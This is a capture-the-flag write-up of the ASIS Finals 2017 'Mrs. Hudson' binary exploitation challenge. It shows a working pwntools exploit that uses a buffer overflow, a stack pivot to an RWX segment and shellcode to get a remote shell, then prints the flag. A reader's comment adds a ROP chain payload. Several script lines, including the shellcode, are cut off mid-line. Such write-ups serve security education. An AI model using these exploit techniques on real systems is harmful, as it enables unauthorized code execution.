ASIS Finals 2017 Mrs. Hudson Writeup

Solved by sherl0ck

In this challenge, the given binary was a non stripped 64-bit ELF executable.

Now, taking a look at the protections enabled :

gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial

So no protections are enabled. That's handy !

The code of this binary is really simple. It basically calls scanf to read a string onto an address in the current stack frame. Since there is no bounds checking happening there is an obvious buffer overflow. So we can overwrite the saved rbp and rip. Since ASLR is enabled we can't, directly, perform a ret2libc attack or execute a shellcode present in the stack.

Now notice that at run time there is a segment with read-write-execute permissions.

Start	End	Perm
0x00601000	0x00602000	rwxp

So my plan was to use stack pivot to the segment with the rwx permission and then call the scanf statement, enter shellcode and then return to the shellcode, as the addresses in this segment are constant. So first let's take a look at the scanf part :

```
0x000000000040066f : lea rax,[rbp-0x70]
0x0000000000400673 : mov rsi,rax
0x0000000000400676 : mov edi,0x40072b
0x000000000040067b : mov eax,0x0
0x0000000000400680 : call 0x400520
0x0000000000400685 : leave
0x0000000000400686 : ret
```

So here’s the way in which I exploited this binary :-

1. Overwrite saved rbp with an address in the r-w-x segment and saved rip with the address of scanf.
2. Send in the shellcode and give the return address as the address of the shellcode (i.e the rbp (given in the above step) – 0x70)

And here’s the python script for the exploit –

```python
from pwn import *
import sys

if len(sys.argv)>1:
    r=remote('178.62.249.106',8642)
else:
    r=process('./mrs._hudson')

rbp1=0x6010e0       # this lies in the r-w-x segment
scanf=0x40066f      # <main +85>: lea rax,[rbp-0x70]
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\

payload='A'*0x70    # junk
payload+=p64(rbp1)  # overwrite the saved rbp
payload+=p64(scanf) # overwrite the saved rip
r.sendline(payload)

'''
Now the rbp points to 0x6010e0 and rip to 0x40066f which set
After this the block of code with scanf and its arguements i
'''

payload=fit({0:shellcode},filler='\x90',length=0x70) # shell
payload+="A"*8          # let the saved rbp be junk
payload+=p64(0x601070)  # let the saved rip be the address o
r.sendline(payload)

'''
Now the value in rbp is 0x4141414141414141 and rip points to
After this block is executed the control shifts to shellcode
'''

r.interactive()      # get your shell
```

And here’s the shell :-

```
$python exploit.py 123
[+] Opening connection to 178.62.249.106 on port 8642: Done
[*] Switching to interactive mode
Let’s go back to 2000.
$ cd home/frontofficemanager/
$ ls
flag
hudson_3ab429dd29d62964e5596e6afe0d17d9
$ cat flag
ASIS{W3_Do0o_N0o0t_Like_M4N4G3RS_OR_D0_w3?}
$ exit
```

So, the flag is –

ASIS{W3_Do0o_N0o0t_Like_M4N4G3RS_OR_D0_w3?}

Published by sherl0ck

View all posts by sherl0ck

September 11, 2017
Pwn, Write up

2 thoughts on “ASIS Finals 2017 Mrs. Hudson Writeup”

1. **Geust**

   says:
   November 5, 2017 at 10:21 am
   Great write up. But Im confused about one thing. After sent these payload

   “payload = ‘A’ * 0x78
   10 payload += p64(0x4006f3) # pop rdi ret;
   11 payload += p64(0x40072B) # %s format string
   12 payload += p64(0x4006f1) # pop rsi pop r15 ret;
   13 payload += p64(0x601000) # rwx segment
   14 payload += p64(0xaaaa) # r15 value
   15 payload += p64(0x400526) # scanf@plt
   16 payload += p64(0x601000) # rwx segmen”

   I debugged hudson binary. Here is stack frame.

   (gdb) x/32gx $rbp – 0x70
   0x7fffffffe110: 0x4141414141414141 0x4141414141414141
   0x7fffffffe120: 0x4141414141414141 0x4141414141414141
   0x7fffffffe130: 0x4141414141414141 0x4141414141414141
   0x7fffffffe140: 0x4141414141414141 0x4141414141414141
   0x7fffffffe150: 0x4141414141414141 0x4141414141414141

0x7fffffffe160: 0x4141414141414141 0x4141414141414141
0x7fffffffe170: 0x4141414141414141 0x4141414141414141
0x7fffffffe180: 0x4141414141414141 0x06f140072b4006f3
0x7fffffffe190: 0x400526aaaa601040 0x00007fffff006010
0x7fffffffe1a0: 0x00000001f7ffcca0 0x000000000040061a
0x7fffffffe1b0: 0x0000000000000000 0x53c94e7ff81e0051

It looks like scanf function cant get \x00 byte. So p64(0x4006f3) + p64(0x40072B) gives 0x06f140072b4006f3. How the hell did rop chain work ? Saved RIP replaced 0x06f140072b4006f3. But actually this address didnt hold any instructions. Instead of giving segmentation fault error, How does it work ? Please explain this shit :p

1. **sherl0ck**

   says:
   November 6, 2017 at 4:18 pm

   > It looks like scanf function cant get \x00 byte

   scanf does read a null byte from the stdin. From the man page of scanf –

   > The input string stops at white space or at the maximum field width, whichever occurs first.

   The null byte '\0' is not considered a whitespace character. Thus p64(0x4006f3) is interpreted as "\xf3\x06\x40\x00\x00\x00\x00\x00".